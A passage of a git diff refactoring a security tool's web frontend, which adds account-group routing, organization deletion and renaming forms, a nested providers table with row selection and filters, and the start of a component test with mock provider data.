b/ui/components/manage-groups/forms/delete-group-form.tsx index 96911dbdda..7f79817440 100644 --- a/ui/components/manage-groups/forms/delete-group-form.tsx +++ b/ui/components/manage-groups/forms/delete-group-form.tsx @@ -48,7 +48,7 @@ export const DeleteGroupForm = ({ title: "Success!", description: "The provider group was removed successfully.", }); - router.push("/manage-groups"); + router.push("/providers?tab=account-groups"); } setIsOpen(false); // Close the modal on success } diff --git a/ui/components/manage-groups/forms/edit-group-form.tsx b/ui/components/manage-groups/forms/edit-group-form.tsx index a29a054e8b..907e372b0e 100644 --- a/ui/components/manage-groups/forms/edit-group-form.tsx +++ b/ui/components/manage-groups/forms/edit-group-form.tsx @@ -130,7 +130,7 @@ export const EditGroupForm = ({ title: "Success!", description: "The group was updated successfully.", }); - router.push("/manage-groups"); + router.push("/providers?tab=account-groups"); } } catch (_error) { toast({ @@ -263,7 +263,7 @@ export const EditGroupForm = ({ type="button" variant="ghost" onClick={() => { - router.push("/manage-groups"); + router.push("/providers?tab=account-groups"); }} disabled={isLoading} > diff --git a/ui/components/manage-groups/manage-groups-button.tsx b/ui/components/manage-groups/manage-groups-button.tsx index 48df5ee607..3b08f5d8eb 100644 --- a/ui/components/manage-groups/manage-groups-button.tsx +++ b/ui/components/manage-groups/manage-groups-button.tsx @@ -10,7 +10,7 @@ export const ManageGroupsButton = () => { ); diff --git a/ui/components/manage-groups/table/data-table-row-actions.tsx b/ui/components/manage-groups/table/data-table-row-actions.tsx index 519b0b05e2..c737e80604 100644 --- a/ui/components/manage-groups/table/data-table-row-actions.tsx +++ b/ui/components/manage-groups/table/data-table-row-actions.tsx @@ -49,13 +49,15 @@ export function DataTableRowActions({ > } - label="Edit Provider Group" - onSelect={() => router.push(`/manage-groups?groupId=${groupId}`)} + label="Edit Account Group" + onSelect={() => + router.push(`/providers?tab=account-groups&groupId=${groupId}`) + } /> } - label="Delete Provider Group" + label="Delete Account Group" destructive onSelect={() => setIsDeleteOpen(true)} /> diff --git a/ui/components/providers/add-provider-button.tsx b/ui/components/providers/add-provider-button.tsx index 223d3a390d..30d630c85a 100644 --- a/ui/components/providers/add-provider-button.tsx +++ b/ui/components/providers/add-provider-button.tsx @@ -5,17 +5,12 @@ import { useState } from "react"; import { ProviderWizardModal } from "@/components/providers/wizard"; import { Button } from "@/components/shadcn"; -import { AddIcon } from "../icons"; - export const AddProviderButton = () => { const [open, setOpen] = useState(false); return ( <> - + ); diff --git a/ui/components/providers/forms/delete-organization-form.tsx b/ui/components/providers/forms/delete-organization-form.tsx new file mode 100644 index 0000000000..fd9434280f --- /dev/null +++ b/ui/components/providers/forms/delete-organization-form.tsx @@ -0,0 +1,91 @@ +"use client"; + +import { Dispatch, SetStateAction, useState } from "react"; + +import { + deleteOrganization, + deleteOrganizationalUnit, +} from "@/actions/organizations/organizations"; +import { DeleteIcon } from "@/components/icons"; +import { Button } from "@/components/shadcn"; +import { useToast } from "@/components/ui"; +import { + PROVIDERS_GROUP_KIND, + ProvidersGroupKind, +} from "@/types/providers-table"; + +interface DeleteOrganizationFormProps { + id: string; + name: string; + variant: ProvidersGroupKind; + setIsOpen: Dispatch>; +} + +export function DeleteOrganizationForm({ + id, + name, + variant, + setIsOpen, +}: DeleteOrganizationFormProps) { + const [isLoading, setIsLoading] = useState(false); + const { toast } = useToast(); + + const isOrg = variant === PROVIDERS_GROUP_KIND.ORGANIZATION; + const entityLabel = isOrg ? "organization" : "organizational unit"; + + const handleDelete = async () => { + setIsLoading(true); + + const result = isOrg + ? await deleteOrganization(id) + : await deleteOrganizationalUnit(id); + + setIsLoading(false); + + if (result?.errors && result.errors.length > 0) { + const error = result.errors[0]; + toast({ + variant: "destructive", + title: "Oops! Something went wrong", + description: `${error.detail}`, + }); + } else if (result?.error) { + toast({ + variant: "destructive", + title: "Oops! Something went wrong", + description: result.error, + }); + } else { + toast({ + title: "Success!", + description: `The ${entityLabel} "${name}" was removed successfully.`, + }); + setIsOpen(false); + } + }; + + return ( +
+ + + +
+ ); +} diff --git a/ui/components/providers/forms/edit-form.tsx b/ui/components/providers/forms/edit-form.tsx deleted file mode 100644 index 6ecab34368..0000000000 --- a/ui/components/providers/forms/edit-form.tsx +++ /dev/null @@ -1,92 +0,0 @@ -"use client"; - -import { zodResolver } from "@hookform/resolvers/zod"; -import { Dispatch, SetStateAction } from "react"; -import { useForm } from "react-hook-form"; -import * as z from "zod"; - -import { updateProvider } from "@/actions/providers"; -import { useToast } from "@/components/ui"; -import { CustomInput } from "@/components/ui/custom"; -import { Form, FormButtons } from "@/components/ui/form"; -import { ProviderCredentialFields } from "@/lib/provider-credentials/provider-credential-fields"; -import { editProviderFormSchema } from "@/types"; - -export const EditForm = ({ - providerId, - providerAlias, - setIsOpen, -}: { - providerId: string; - providerAlias?: string; - setIsOpen: Dispatch>; -}) => { - const formSchema = editProviderFormSchema(providerAlias ?? ""); - - const form = useForm>({ - resolver: zodResolver(formSchema), - defaultValues: { - [ProviderCredentialFields.PROVIDER_ID]: providerId, - [ProviderCredentialFields.PROVIDER_ALIAS]: providerAlias, - }, - }); - - const { toast } = useToast(); - - const isLoading = form.formState.isSubmitting; - - const onSubmitClient = async (values: z.infer) => { - const formData = new FormData(); - - Object.entries(values).forEach( - ([key, value]) => value !== undefined && formData.append(key, value), - ); - - const data = await updateProvider(formData); - - if (data?.errors && data.errors.length > 0) { - const error = data.errors[0]; - const errorMessage = `${error.detail}`; - // show error - toast({ - variant: "destructive", - title: "Oops! Something went wrong", - description: errorMessage, - }); - } else { - toast({ - title: "Success!", - description: "The provider was updated successfully.", - }); - setIsOpen(false); // Close the modal on success - } - }; - - return ( - - -
- Current alias: {providerAlias} -
-
- -
- - - - - - ); -}; diff --git a/ui/components/providers/forms/edit-name-form.tsx b/ui/components/providers/forms/edit-name-form.tsx new file mode 100644 index 0000000000..5a2f1d2943 --- /dev/null +++ b/ui/components/providers/forms/edit-name-form.tsx @@ -0,0 +1,123 @@ +"use client"; + +import type { Dispatch, FormEvent, SetStateAction } from "react"; +import { useState } from "react"; + +import { SaveIcon } from "@/components/icons"; +import { Button } from "@/components/shadcn"; +import { Input } from "@/components/shadcn/input/input"; +import { useToast } from "@/components/ui"; + +interface EditNameFormProps { + currentValue: string; + label: string; + successMessage: string; + placeholder?: string; + helperText?: string; + validate?: (value: string) => string | null; + setIsOpen: Dispatch>; + onSave: (value: string) => Promise; +} + +export function EditNameForm({ + currentValue, + label, + successMessage, + placeholder, + helperText, + validate, + setIsOpen, + onSave, +}: EditNameFormProps) { + const [value, setValue] = useState(currentValue); + const [error, setError] = useState(null); + const [isLoading, setIsLoading] = useState(false); + const { toast } = useToast(); + + const handleSubmit = async (e: FormEvent) => { + e.preventDefault(); + + const trimmed = value.trim(); + if (validate) { + const validationError = validate(trimmed); + if (validationError) { + setError(validationError); + return; + } + } + + setError(null); + setIsLoading(true); + + const result = (await onSave(trimmed)) as Record; + + setIsLoading(false); + + const errors = result?.errors as Array<{ detail: string }> | undefined; + + if (errors && errors.length > 0) { + toast({ + variant: "destructive", + title: "Oops! Something went wrong", + description: `${errors[0].detail}`, + }); + } else if (result?.error) { + toast({ + variant: "destructive", + title: "Oops! Something went wrong", + description: String(result.error), + }); + } else { + toast({ title: "Success!", description: successMessage }); + setIsOpen(false); + } + }; + + return ( +
+
+ Current {label.toLowerCase()}:{" "} + {currentValue || "—"} +
+
+ + { + setValue(e.target.value); + if (error) setError(null); + }} + placeholder={placeholder ?? currentValue} + disabled={isLoading} + aria-invalid={!!error} + /> + {error &&

{error}

} + {helperText && !error && ( +

{helperText}

+ )} +
+ +
+ + +
+
+ ); +} diff --git a/ui/components/providers/forms/index.ts b/ui/components/providers/forms/index.ts index a081952ade..8a119f2aa9 100644 --- a/ui/components/providers/forms/index.ts +++ b/ui/components/providers/forms/index.ts @@ -1,2 +1,2 @@ export * from "./delete-form"; -export * from "./edit-form"; +export * from "./edit-name-form"; diff --git a/ui/components/providers/index.ts b/ui/components/providers/index.ts index 1cd69cc9f3..71a18944ef 100644 --- a/ui/components/providers/index.ts +++ b/ui/components/providers/index.ts @@ -4,6 +4,7 @@ export * from "./credentials-update-info"; export * from "./forms/delete-form"; export * from "./link-to-scans"; export * from "./muted-findings-config-button"; -export * from "./provider-info"; +export * from "./providers-accounts-table"; +export * from "./providers-filters"; export * from "./radio-card"; export * from "./radio-group-provider"; diff --git a/ui/components/providers/link-to-scans.tsx b/ui/components/providers/link-to-scans.tsx index 81fd9816b8..09f06a7fd8 100644 --- a/ui/components/providers/link-to-scans.tsx +++ b/ui/components/providers/link-to-scans.tsx @@ -5,15 +5,21 @@ import Link from "next/link"; import { Button } from "@/components/shadcn"; interface LinkToScansProps { + hasSchedule: boolean; providerUid?: string; } -export const LinkToScans = ({ providerUid }: LinkToScansProps) => { +export const LinkToScans = ({ hasSchedule, providerUid }: LinkToScansProps) => { return ( - +
+ + {hasSchedule ? "Daily" : "None"} + + +
); }; diff --git a/ui/components/providers/organizations/org-setup-form.tsx b/ui/components/providers/organizations/org-setup-form.tsx index 3990ffb435..3c480e3c48 100644 --- a/ui/components/providers/organizations/org-setup-form.tsx +++ b/ui/components/providers/organizations/org-setup-form.tsx @@ -8,22 +8,29 @@ import { FormEvent, useEffect, useState } from "react"; import { Controller, useForm } from "react-hook-form"; import { z } from "zod"; +import { updateOrganizationName } from "@/actions/organizations/organizations"; import { AWSProviderBadge } from "@/components/icons/providers-badge"; import { WIZARD_FOOTER_ACTION_TYPE, WizardFooterConfig, } from "@/components/providers/wizard/steps/footer-controls"; +import { + ORG_WIZARD_INTENT, + OrgWizardIntent, +} from "@/components/providers/wizard/types"; import { WizardInputField } from "@/components/providers/workflow/forms/fields"; import { Alert, AlertDescription } from "@/components/shadcn/alert"; import { Button } from "@/components/shadcn/button/button"; import { Checkbox } from "@/components/shadcn/checkbox/checkbox"; import { TreeSpinner } from "@/components/shadcn/tree-view/tree-spinner"; +import { useToast } from "@/components/ui"; import { Form } from "@/components/ui/form"; import { getAWSCredentialsTemplateLinks, PROWLER_CF_TEMPLATE_URL, STACKSET_CONSOLE_URL, } from "@/lib"; +import { useOrgSetupStore } from "@/store/organizations/store"; import { ORG_SETUP_PHASE, OrgSetupPhase } from "@/types/organizations"; import { useOrgSetupSubmission } from "./hooks/use-org-setup-submission"; @@ -53,23 +60,36 @@ const orgSetupSchema = z.object({ type OrgSetupFormData = z.infer; +interface OrgSetupFormInitialValues { + organizationName: string; + awsOrgId: string; +} + interface OrgSetupFormProps { onBack: () => void; + onClose?: () => void; onNext: () => void; onFooterChange: (config: WizardFooterConfig) => void; onPhaseChange: (phase: OrgSetupPhase) => void; initialPhase?: OrgSetupPhase; + initialValues?: OrgSetupFormInitialValues; + intent?: OrgWizardIntent; } export function OrgSetupForm({ onBack, + onClose, onNext, onFooterChange, onPhaseChange, initialPhase = ORG_SETUP_PHASE.DETAILS, + initialValues, + intent = ORG_WIZARD_INTENT.FULL, }: OrgSetupFormProps) { const { data: session } = useSession(); const stackSetExternalId = session?.tenantId ?? ""; + const { organizationId } = useOrgSetupStore(); + const { toast } = useToast(); const { copied: isExternalIdCopied, copy: copyExternalId } = useClipboard({ timeout: 1500, }); @@ -77,15 +97,18 @@ export function OrgSetupForm({ timeout: 1500, }); const [setupPhase, setSetupPhase] = useState(initialPhase); + const [isSaving, setIsSaving] = useState(false); const formId = "org-wizard-setup-form"; + const isReadOnlyOrgId = Boolean(initialValues?.awsOrgId); + const form = useForm({ resolver: zodResolver(orgSetupSchema), mode: "onChange", reValidateMode: "onChange", defaultValues: { - organizationName: "", - awsOrgId: "", + organizationName: initialValues?.organizationName ?? "", + awsOrgId: initialValues?.awsOrgId ?? "", roleArn: "", stackSetDeployed: false, }, @@ -120,21 +143,23 @@ export function OrgSetupForm({ useEffect(() => { if (setupPhase === ORG_SETUP_PHASE.DETAILS) { + const isEditName = intent === ORG_WIZARD_INTENT.EDIT_NAME; onFooterChange({ showBack: true, backLabel: "Back", onBack, showAction: true, - actionLabel: "Next", - actionDisabled: !isOrgIdValid, + actionLabel: isEditName ? "Save" : "Next", + actionDisabled: isEditName ? isSaving : !isOrgIdValid, actionType: WIZARD_FOOTER_ACTION_TYPE.SUBMIT, actionFormId: formId, }); return; } + const isEditCredentials = intent === ORG_WIZARD_INTENT.EDIT_CREDENTIALS; onFooterChange({ - showBack: true, + showBack: !isEditCredentials, backLabel: "Back", backDisabled: isSubmitting, onBack: () => setSetupPhase(ORG_SETUP_PHASE.DETAILS), @@ -146,7 +171,9 @@ export function OrgSetupForm({ }); }, [ formId, + intent, isOrgIdValid, + isSaving, isSubmitting, isValid, onBack, @@ -170,9 +197,42 @@ export function OrgSetupForm({ setSetupPhase(ORG_SETUP_PHASE.ACCESS); }; + const handleSaveNameOnly = async () => { + if (!organizationId) return; + setIsSaving(true); + const name = form.getValues("organizationName")?.trim() || ""; + + const result = await updateOrganizationName(organizationId, name); + + setIsSaving(false); + + if (result?.error || result?.errors) { + const errorMsg = + result.errors?.[0]?.detail ?? result.error ?? "Failed to update name"; + toast({ + variant: "destructive", + title: "Oops! Something went wrong", + description: errorMsg, + }); + return; + } + + toast({ + title: "Success!", + description: "Organization name updated successfully.", + }); + onClose?.(); + }; + const handleFormSubmit = (event: FormEvent) => { if (setupPhase === ORG_SETUP_PHASE.DETAILS) { event.preventDefault(); + + if (intent === ORG_WIZARD_INTENT.EDIT_NAME) { + void handleSaveNameOnly(); + return; + } + handleContinueToAccess(); return; } @@ -251,6 +311,8 @@ export function OrgSetupForm({ autoCapitalize="none" autoCorrect="off" spellCheck={false} + isReadOnly={isReadOnlyOrgId} + isDisabled={isReadOnlyOrgId} /> { - const getIcon = () => { - switch (connected) { - case true: - return ( - -
- -
-
- ); - case false: - return ( - -
- -
-
- ); - case null: - return ( - -
- -
-
- ); - default: - return ; - } - }; - - return ( -
-
-
{getProviderLogo(provider)}
- {getIcon()} - {providerAlias || providerUID} -
-
- ); -}; diff --git a/ui/components/providers/providers-accounts-table.tsx b/ui/components/providers/providers-accounts-table.tsx new file mode 100644 index 0000000000..212fd475c9 --- /dev/null +++ b/ui/components/providers/providers-accounts-table.tsx @@ -0,0 +1,84 @@ +"use client"; + +import { RowSelectionState } from "@tanstack/react-table"; +import { useEffect, useState } from "react"; + +import { DataTable } from "@/components/ui/table"; +import { MetaDataProps } from "@/types"; +import { + isProvidersOrganizationRow, + ProvidersTableRow, +} from "@/types/providers-table"; + +import { getColumnProviders } from "./table"; + +interface ProvidersAccountsTableProps { + isCloud: boolean; + metadata?: MetaDataProps; + rows: ProvidersTableRow[]; +} + +function computeTestableProviderIds( + rows: ProvidersTableRow[], + rowSelection: RowSelectionState, +): string[] { + const ids: string[] = []; + + function walk(items: ProvidersTableRow[], prefix: string) { + items.forEach((item, idx) => { + const key = prefix ? `${prefix}.${idx}` : `${idx}`; + if ( + rowSelection[key] && + !isProvidersOrganizationRow(item) && + item.relationships.secret.data + ) { + ids.push(item.id); + } + if (item.subRows) { + walk(item.subRows, key); + } + }); + } + + walk(rows, ""); + return ids; +} + +export function ProvidersAccountsTable({ + isCloud, + metadata, + rows, +}: ProvidersAccountsTableProps) { + const [rowSelection, setRowSelection] = useState({}); + + // Reset selection when page changes + const currentPage = metadata?.pagination?.page; + useEffect(() => { + setRowSelection({}); + }, [currentPage]); + + const testableProviderIds = computeTestableProviderIds(rows, rowSelection); + + const clearSelection = () => setRowSelection({}); + + const columns = getColumnProviders( + rowSelection, + testableProviderIds, + clearSelection, + ); + + return ( + row.subRows} + defaultExpanded={isCloud} + showSearch + enableRowSelection + rowSelection={rowSelection} + onRowSelectionChange={setRowSelection} + enableSubRowSelection + /> + ); +} diff --git a/ui/components/providers/providers-filters.tsx b/ui/components/providers/providers-filters.tsx new file mode 100644 index 0000000000..b0eaf30e72 --- /dev/null +++ b/ui/components/providers/providers-filters.tsx @@ -0,0 +1,153 @@ +"use client"; + +import { useSearchParams } from "next/navigation"; +import type { ReactNode } from "react"; + +import { ProviderTypeSelector } from "@/app/(prowler)/_overview/_components/provider-type-selector"; +import { ClearFiltersButton } from "@/components/filters/clear-filters-button"; +import { + MultiSelect, + MultiSelectContent, + MultiSelectItem, + MultiSelectSelectAll, + MultiSelectSeparator, + MultiSelectTrigger, + MultiSelectValue, +} from "@/components/shadcn/select/multiselect"; +import { EntityInfo } from "@/components/ui/entities/entity-info"; +import { useUrlFilters } from "@/hooks/use-url-filters"; +import { isConnectionStatus, isGroupFilterEntity } from "@/lib/helper-filters"; +import { FilterEntity, FilterOption, ProviderEntity } from "@/types"; +import { + GroupFilterEntity, + ProviderConnectionStatus, + ProviderProps, +} from "@/types/providers"; + +interface ProvidersFiltersProps { + filters: FilterOption[]; + providers: ProviderProps[]; + actions?: ReactNode; +} + +export const ProvidersFilters = ({ + filters, + providers, + actions, +}: ProvidersFiltersProps) => { + const { updateFilter } = useUrlFilters(); + const searchParams = useSearchParams(); + + const sortedFilters = [...filters].sort((a, b) => { + if (a.index !== undefined && b.index !== undefined) + return a.index - b.index; + if (a.index !== undefined) return -1; + if (b.index !== undefined) return 1; + return 0; + }); + + const getSelectedValues = (filter: FilterOption): string[] => { + const filterKey = filter.key.startsWith("filter[") + ? filter.key + : `filter[${filter.key}]`; + const paramValue = searchParams.get(filterKey); + if (!paramValue && filter.defaultToSelectAll) return filter.values; + return paramValue ? paramValue.split(",") : []; + }; + + const pushDropdownFilter = (filter: FilterOption, values: string[]) => { + const allSelected = + filter.values.length > 0 && values.length === filter.values.length; + if (filter.defaultToSelectAll && allSelected) { + updateFilter(filter.key, null); + return; + } + updateFilter(filter.key, values.length > 0 ? values : null); + }; + + const getEntityForValue = ( + filter: FilterOption, + value: string, + ): FilterEntity | undefined => { + if (!filter.valueLabelMapping) return undefined; + const entry = filter.valueLabelMapping.find((mapping) => mapping[value]); + return entry ? entry[value] : undefined; + }; + + const getBadgeLabel = ( + entity: FilterEntity | undefined, + value: string, + ): string => { + if (!entity) return value; + if (isConnectionStatus(entity)) { + return (entity as ProviderConnectionStatus).label; + } + if (isGroupFilterEntity(entity)) { + return (entity as GroupFilterEntity).name || value; + } + const providerEntity = entity as ProviderEntity; + return providerEntity.alias || providerEntity.uid || value; + }; + + const renderEntityContent = (entity: FilterEntity) => { + if (isConnectionStatus(entity)) { + return {(entity as ProviderConnectionStatus).label}; + } + if (isGroupFilterEntity(entity)) { + return {(entity as GroupFilterEntity).name}; + } + const providerEntity = entity as ProviderEntity; + return ( + + ); + }; + + return ( +
+
+ +
+ {sortedFilters.map((filter) => { + const selectedValues = getSelectedValues(filter); + return ( +
+ pushDropdownFilter(filter, values)} + > + + + + + Select All + + {filter.values.map((value) => { + const entity = getEntityForValue(filter, value); + const displayLabel = filter.labelFormatter + ? filter.labelFormatter(value) + : value; + return ( + + {entity ? renderEntityContent(entity) : displayLabel} + + ); + })} + + +
+ ); + })} + + {actions &&
{actions}
} +
+ ); +}; diff --git a/ui/components/providers/radio-group-provider.tsx b/ui/components/providers/radio-group-provider.tsx index b071062e94..02466189a1 100644 --- a/ui/components/providers/radio-group-provider.tsx +++ b/ui/components/providers/radio-group-provider.tsx @@ -15,7 +15,9 @@ import { CloudflareProviderBadge, GCPProviderBadge, GitHubProviderBadge, + GoogleWorkspaceProviderBadge, IacProviderBadge, + ImageProviderBadge, KS8ProviderBadge, M365ProviderBadge, MongoDBAtlasProviderBadge, @@ -60,11 +62,21 @@ const PROVIDERS = [ label: "GitHub", badge: GitHubProviderBadge, }, + { + value: "googleworkspace", + label: "Google Workspace", + badge: GoogleWorkspaceProviderBadge, + }, { value: "iac", label: "Infrastructure as Code", badge: IacProviderBadge, }, + { + value: "image", + label: "Container Registry", + badge: ImageProviderBadge, + }, { value: "oraclecloud", label: "Oracle Cloud Infrastructure", diff --git a/ui/components/providers/table/column-providers.tsx b/ui/components/providers/table/column-providers.tsx index 47748f22ac..83c9a80589 100644 --- a/ui/components/providers/table/column-providers.tsx +++ b/ui/components/providers/table/column-providers.tsx @@ -1,131 +1,345 @@ "use client"; -import { Chip } from "@heroui/chip"; -import { ColumnDef } from "@tanstack/react-table"; +import { ColumnDef, Row, RowSelectionState } from "@tanstack/react-table"; +import { + Building2, + FolderTree, + ShieldAlert, + ShieldCheck, + ShieldOff, +} from "lucide-react"; -import { DateWithTime, SnippetChip } from "@/components/ui/entities"; +import { Checkbox } from "@/components/shadcn/checkbox/checkbox"; +import { CodeSnippet } from "@/components/ui/code-snippet/code-snippet"; +import { DateWithTime, EntityInfo } from "@/components/ui/entities"; import { DataTableColumnHeader } from "@/components/ui/table"; -import { ProviderProps } from "@/types"; +import { DataTableExpandAllToggle } from "@/components/ui/table/data-table-expand-all-toggle"; +import { DataTableExpandableCell } from "@/components/ui/table/data-table-expandable-cell"; +import { + isProvidersOrganizationRow, + PROVIDERS_GROUP_KIND, + ProvidersProviderRow, + ProvidersTableRow, +} from "@/types/providers-table"; import { LinkToScans } from "../link-to-scans"; -import { ProviderInfo } from "../provider-info"; import { DataTableRowActions } from "./data-table-row-actions"; interface GroupNameChipsProps { groupNames?: string[]; } -const getProviderData = (row: { original: ProviderProps }) => { - const provider = row.original; - return { - attributes: provider.attributes, - groupNames: provider.groupNames, - }; -}; +const OrganizationIcon = ({ groupKind }: { groupKind: string }) => { + const Icon = + groupKind === PROVIDERS_GROUP_KIND.ORGANIZATION ? Building2 : FolderTree; -export const ColumnProviders: ColumnDef[] = [ - { - accessorKey: "account", - header: ({ column }) => ( - - ), - cell: ({ row }) => { - const { - attributes: { connection, provider, alias, uid }, - } = getProviderData(row); - return ( - - ); - }, - }, - { - accessorKey: "scanJobs", - header: ({ column }) => ( - - ), - cell: ({ row }) => { - const { - attributes: { uid }, - } = getProviderData(row); - return ; - }, - enableSorting: false, - }, - { - accessorKey: "groupNames", - header: ({ column }) => ( - - ), - cell: ({ row }) => { - const { groupNames } = getProviderData(row); - return ; - }, - enableSorting: false, - }, - { - accessorKey: "uid", - header: ({ column }) => ( - - ), - cell: ({ row }) => { - const { - attributes: { uid }, - } = getProviderData(row); - return ; - }, - }, - { - accessorKey: "added", - header: ({ column }) => ( - - ), - cell: ({ row }) => { - const { - attributes: { inserted_at }, - } = getProviderData(row); - return ; - }, - }, - { - id: "actions", - header: ({ column }) => , - cell: ({ row }) => { - return ; - }, - enableSorting: false, - }, -]; - -export const GroupNameChips: React.FC = ({ - groupNames, -}) => { return ( -
- {groupNames?.map((name, index) => ( - - {name} - - ))} +
+
); }; + +const ProviderStatusCell = ({ connected }: { connected: boolean | null }) => { + if (connected === true) { + return ( +
+ + Connected +
+ ); + } + + if (connected === false) { + return ( +
+ + Connection failed +
+ ); + } + + return ( +
+ + Not connected +
+ ); +}; + +function getSelectionLabel(row: Row): string | undefined { + const isSelected = row.getIsSelected(); + const isSomeSelected = row.getIsSomeSelected(); + + if (!isSelected && !isSomeSelected) return undefined; + + const subRows = row.subRows ?? []; + const totalLeaves = countLeaves(subRows); + const selectedLeaves = countSelectedLeaves(subRows); + + return `${selectedLeaves.toLocaleString()} of ${totalLeaves.toLocaleString()} Selected`; +} + +function countLeaves(rows: Row[]): number { + let count = 0; + for (const row of rows) { + if (row.subRows && row.subRows.length > 0) { + count += countLeaves(row.subRows); + } else { + count++; + } + } + return count; +} + +function countSelectedLeaves(rows: Row[]): number { + let count = 0; + for (const row of rows) { + if (row.subRows && row.subRows.length > 0) { + count += countSelectedLeaves(row.subRows); + } else if (row.getIsSelected()) { + count++; + } + } + return count; +} + +export function getColumnProviders( + rowSelection: RowSelectionState, + testableProviderIds: string[], + onClearSelection: () => void, +): ColumnDef[] { + return [ + { + id: "account", + size: 420, + accessorFn: (row) => + isProvidersOrganizationRow(row) ? row.name : row.attributes.alias, + header: ({ column, table }) => ( +
+ + + table.toggleAllPageRowsSelected(checked === true) + } + onClick={(e) => e.stopPropagation()} + aria-label="Select all" + /> +
+ +
+
+ ), + cell: ({ row }) => { + const isExpanded = row.getIsExpanded(); + + const checkboxSlot = ( + row.toggleSelected(checked === true)} + onClick={(e) => e.stopPropagation()} + aria-label="Select row" + /> + ); + + if (isProvidersOrganizationRow(row.original)) { + return ( + + } + entityAlias={row.original.name} + entityId={row.original.externalId ?? undefined} + badge={getSelectionLabel(row)} + showCopyAction + /> + + ); + } + + const provider = row.original; + + return ( + + + + ); + }, + }, + { + accessorKey: "groupNames", + size: 160, + header: ({ column }) => ( + + ), + cell: ({ row }) => { + if (isProvidersOrganizationRow(row.original)) { + return ( + + {row.original.groupKind === PROVIDERS_GROUP_KIND.ORGANIZATION + ? "Organization" + : "Organizational Unit"} + + ); + } + + return ; + }, + enableSorting: false, + }, + { + id: "lastScan", + size: 160, + header: ({ column }) => ( + + ), + cell: ({ row }) => { + if (isProvidersOrganizationRow(row.original)) { + return -; + } + + const lastCheckedAt = (row.original as ProvidersProviderRow).attributes + .connection.last_checked_at; + + if (!lastCheckedAt) { + return ( + Never + ); + } + + return ; + }, + enableSorting: false, + }, + { + id: "scanSchedule", + size: 140, + header: ({ column }) => ( + + ), + cell: ({ row }) => { + if (isProvidersOrganizationRow(row.original)) { + return ( + + {row.original.providerCount} Accounts + + ); + } + + return ( + + ); + }, + enableSorting: false, + }, + { + id: "status", + size: 170, + header: ({ column }) => ( + + ), + cell: ({ row }) => { + if (isProvidersOrganizationRow(row.original)) { + return -; + } + + return ( + + ); + }, + }, + { + accessorKey: "added", + size: 140, + header: ({ column }) => ( + + ), + cell: ({ row }) => { + if (isProvidersOrganizationRow(row.original)) { + return -; + } + + return ( + + ); + }, + }, + { + id: "actions", + size: 56, + header: ({ column }) => ( + + ), + cell: ({ row }) => { + const hasSelection = Object.values(rowSelection).some(Boolean); + + return ( + + ); + }, + enableSorting: false, + }, + ]; +} + +export function GroupNameChips({ groupNames }: GroupNameChipsProps) { + if (!groupNames || groupNames.length === 0) { + return ( + No groups + ); + } + + return ( +
+ {groupNames.map((name, index) => ( + + ))} +
+ ); +} diff --git a/ui/components/providers/table/data-table-row-actions.test.tsx b/ui/components/providers/table/data-table-row-actions.test.tsx new file mode 100644 index 0000000000..21feaf7e4e --- /dev/null +++ b/ui/components/providers/table/data-table-row-actions.test.tsx @@ -0,0 +1,289 @@ +import { Row } from "@tanstack/react-table"; +import { render, screen } from "@testing-library/react"; +import userEvent from "@testing-library/user-event"; +import { describe, expect, it, vi } from "vitest"; + +import { + PROVIDERS_GROUP_KIND, + PROVIDERS_ROW_TYPE, +} from "@/types/providers-table"; + +const checkConnectionProviderMock = vi.hoisted(() => vi.fn()); + +vi.mock("@/actions/organizations/organizations", () => ({ + updateOrganizationName: vi.fn(), +})); + +vi.mock("@/actions/providers/providers", () => ({ + checkConnectionProvider: checkConnectionProviderMock, +})); + +vi.mock("@/components/providers/wizard", () => ({ + ProviderWizardModal: () => null, +})); + +vi.mock("../forms/delete-form", () => ({ + DeleteForm: () => null, +})); + +vi.mock("../forms/delete-organization-form", () => ({ + DeleteOrganizationForm: () => null, +})); + +vi.mock("../forms/edit-name-form", () => ({ + EditNameForm: () => null, +})); + +vi.mock("@/components/ui", () => ({ + useToast: () => ({ toast: vi.fn() }), +})); + +vi.mock("@/lib/provider-helpers", () => ({ + testProviderConnection: vi.fn(), +})); + +import { DataTableRowActions } from "./data-table-row-actions"; + +const createRow = () => + ({ + original: { + id: "provider-1", + rowType: PROVIDERS_ROW_TYPE.PROVIDER, + type: "providers", + attributes: { + provider: "aws", + uid: "111111111111", + alias: "AWS App Account", + status: "completed", + resources: 0, + connection: { + connected: true, + last_checked_at: "2025-02-13T11:17:00Z", + }, + scanner_args: { + only_logs: false, + excluded_checks: [], + aws_retries_max_attempts: 3, + }, + inserted_at: "2025-02-13T11:17:00Z", + updated_at: "2025-02-13T11:17:00Z", + created_by: { + object: "user", + id: "user-1", + }, + }, + relationships: { + secret: { + data: null, + }, + provider_groups: { + meta: { + count: 0, + }, + data: [], + }, + }, + groupNames: [], + }, + }) as Row; + +const createOrgRow = () => + ({ + original: { + id: "org-1", + rowType: PROVIDERS_ROW_TYPE.ORGANIZATION, + groupKind: PROVIDERS_GROUP_KIND.ORGANIZATION, + name: "My AWS Organization", + externalId: "o-abc123def4", + parentExternalId: null, + organizationId: "org-1", + providerCount: 3, + subRows: [ + { + id: "provider-child-1", + rowType: PROVIDERS_ROW_TYPE.PROVIDER, + type: "providers", + attributes: { provider: "aws", uid: "111", alias: null }, + relationships: { + secret: { data: { id: "secret-1", type: "secrets" } }, + }, + }, + { + id: "provider-child-2", + rowType: PROVIDERS_ROW_TYPE.PROVIDER, + type: "providers", + attributes: { provider: "aws", uid: "222", alias: null }, + relationships: { secret: { data: null } }, + }, + ], + }, + }) as Row; + +const createOuRow = () => + ({ + original: { + id: "ou-1", + rowType: PROVIDERS_ROW_TYPE.ORGANIZATION, + groupKind: PROVIDERS_GROUP_KIND.ORGANIZATION_UNIT, + name: "Production OU", + externalId: "ou-abc123", + parentExternalId: "o-abc123def4", + organizationId: "org-1", + providerCount: 2, + subRows: [ + { + id: "provider-ou-child-1", + rowType: PROVIDERS_ROW_TYPE.PROVIDER, + type: "providers", + attributes: { provider: "aws", uid: "333", alias: null }, + relationships: { + secret: { data: { id: "secret-2", type: "secrets" } }, + }, + }, + ], + }, + }) as Row; + +describe("DataTableRowActions", () => { + it("renders the exact phase 1 menu actions for provider rows", async () => { + // Given + const user = userEvent.setup(); + render( + , + ); + + // When + await user.click(screen.getByRole("button")); + + // Then + expect(screen.getByText("Edit Provider Alias")).toBeInTheDocument(); + expect(screen.getByText("Update Credentials")).toBeInTheDocument(); + expect(screen.getByText("Test Connection")).toBeInTheDocument(); + expect(screen.getByText("Delete Provider")).toBeInTheDocument(); + expect(screen.queryByText("Add 